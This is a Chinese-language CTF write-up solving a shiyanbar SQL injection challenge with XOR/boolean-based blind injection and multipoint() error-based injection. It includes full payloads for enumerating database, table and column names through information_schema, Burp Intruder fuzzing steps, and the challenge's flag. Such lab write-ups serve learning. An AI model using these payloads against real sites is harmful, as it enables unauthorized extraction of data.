zoukankan      html  css  js  c++  java
  • 实验吧简单的sql注入3

       今天早上起来发现有人评论说我没更新实验吧sql注入3,主要是因为前段时间都去做bugku去了

    但是重做这道题发现以前的姿势不行了,exp()报错不再溢出,现在不能用这个姿势,所以这里重新整理了一遍思路,这里也写了我自己做题的过程并且也写了我错误的思路等等。

    实验吧简单的sql注入3:

    连接:

    http://ctf5.shiyanbar.com/web/index_3.php?id=1

    方法一:

    这道题和前两道题的区别,这道题的回显不像上两道题在下面会回显你输入的东西,只会给你返回一个hello!

    在上一题里面,我一直靠下面的回显来判断那些东西过滤,而且一次就绕过了过滤的东西(主要是因为我看了别人的writeup)

    但是这道题没有下面的回显那我该咋整呢?

    这里就会用到这两天get到的一个新姿势,异或注入。

    异或注入的知识点并不难,直接看这边博客你就会懂:https://blog.csdn.net/qq_37873738/article/details/88043659

     回到这一道题,这里我们先输入一个单引号

     报错,所以可以想到这里是字符类型的注入。ok,接下来用到异或注入的知识,当我们输入   1'^(1)# 时 两边为真 结果为假 所以页面应该是不会返回,

    果然没有返回,所以接下来尝试  1'^(0)#  这个两边一假 结果为真 所以页面应该有返回 hello 

    接下来用  1'^(length('你要测试的字符')>0)#  来判断那些字符被过滤了

     

    首先我手动测试一下,1'^(length('')>0)#  这个语句应该是会返回的,因为 空字符的长度就等于0嘛,这里大于0肯定是假啊, 一真一假返回真,所以页面应该会返回hello

    果然是返回了hello,再测试一下1'^(length('and')>0)# 发现没有回显,也就是说and没有过滤,接下来直接用fuzz跑一下那些过滤那些没过滤。

    结果发现这几个是被过滤了的,上面的三个可用于基于报错注入,下面两个延时注入。

    这个过滤对我们第一种方法并没有什么影响,聪明的你肯定发现,这里只要更换()里的条件,并根据页面的返回就可以直接猜出答案。

    先用如下语句:1'^(length(database())=n)#

    更换n的值,知道页面不回显,则说明括号里的条件是真

    这里先手动改n的值爆数据库的长度,只有n=4时页面才不回回显,说明数据库长度为4

    如下 当n=1,2,3时和当n=4时

     这是n=1,2,3的时候

    这是n=4的时候

    接下来就构造语句爆出库名,表名,列明

    这里一个一个的手工测试很麻烦的,所以可以选择写脚本,也可以选择用burp来跑,我直接上burp

    抓包,发送到 Intruder

    爆数据库名字的语句 1'^(ascii(substr(database(),m,1))=n)#

    这里我们知道库名长度为4 m就1-4的变化,直接手动把,后面n就直接1-127 因为ascii 大不了就1-127嘛 结果如下图

    /*  这里我想说,每次我用语句现在浏览器里面输入,然后他会url编码,然后我再抓包进行fuzzing测试,这样才会出结果,如果直接再burp里面输入的话,返回的所有长度都一样*/

    1'^(ascii(substr(database(),1,1))=119)#   ascii对应w 

    1'^(ascii(substr(database(),2,1))=101)#   对应e

    1'^(ascii(substr(database(),3,1))=98)#  对应 b

    1'^(ascii(substr(database(),4,1))=49)#   对应1

    就这样,得到了数据库名 web1

    接下来就爆表名

    先爆表数

    1'^((select count(table_name) from information_schema.tables where table_schema=database())=n)#    当n=2时返回的长度都和其他的不一样,所以这里得到表数为2

    爆表的长度

    1'^(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n)#     // 这里的length后面是两个括号,如果只有一个括号的话会报错,我也不知道为什么。。。。。。

    这里长度为4

    爆表明

    1'^(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),m,1))=n)# 

    道理和爆库名一样,只需修改m和n的值 ,这里爆出表明为 flag,由于第一题和第二题表名列名都是flag 这里猜测列名也是flag(主要是上一次用exp()报错做出来过,所以这里知道哈哈哈)

    爆行flag的长度  

    1'^(length((select flag from flag))=n)# // 这里的length后面是两个括号,如果只有一个括号的话会报错,我也不知道为什么。。。。。。

    这里长度为26

    爆数据flag

    1'^(ascii(substr((select flag from flag),m,1))=n)# 

    这样一个一个的测试即可拿出flag

    flag{Y0u_@r3_50_dAmn_900d}

    我是小白,个人知道的注入方法就四种:

    1.union注入,这个再前面我写了一篇

    2.延时注入

    3.报错注入

    4.基于布尔的注入

    这道题表面上用的是抑或注入,实际上我所用的方法就是基于布尔

    这儿推荐一个大神的博客,他没有用到异或注入,就是直接用的布尔,原理差不多一样的

    https://blog.csdn.net/tc125/article/details/80302386

    个人觉得异或注入更容易写脚本,脚本隔两天附上。。。。

    方法二:

    但是我始终觉得不爽,因为这道题的提示是报错注入,但是我却始终没用到报错溢出信息过,虽然之前我用exp()报错做出了这道题,但是现在用这个不行了,所以我在网上又搜缩了一下报错函数

    推荐这个博客:https://blog.csdn.net/whatday/article/details/63683187

    这里面有十个 有的被过滤了,没过滤的我一个一个的试

    没想到还真的报了出来,multipoint()可以报出来

    1' and multipoint((select * from(select * from(select databse())a)b))#

    web1 报出了哈哈哈,接下来报各种的名字

    但是,,,当我报表名时 1' and multipoint((select * from(select * from(select group_concat(table_name) from information_schema.tables)a)b))#

    出现了这个

    和exp()报错出现的情况一模一样。。失败

     唉,害的我白高兴一场

  • 相关阅读:
    关于Linux联网的问题
    MapD的数据导出与扩容(利用现有的表)
    系统重启后,MapD报错Thrift的连接被拒绝
    关于Linux系统只读(Ubuntu16.4.1)
    javaBean的依赖注入中构造注入和依赖注入的区别
    Struts2开发中遇到的坑。。。
    通过配置文件设置定时任务,以及时间的选择
    微信小程序开发的movable开发的坑
    spring基础概念
    Hibernate的三种查询方式
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/10909786.html
Copyright © 2011-2022 走看看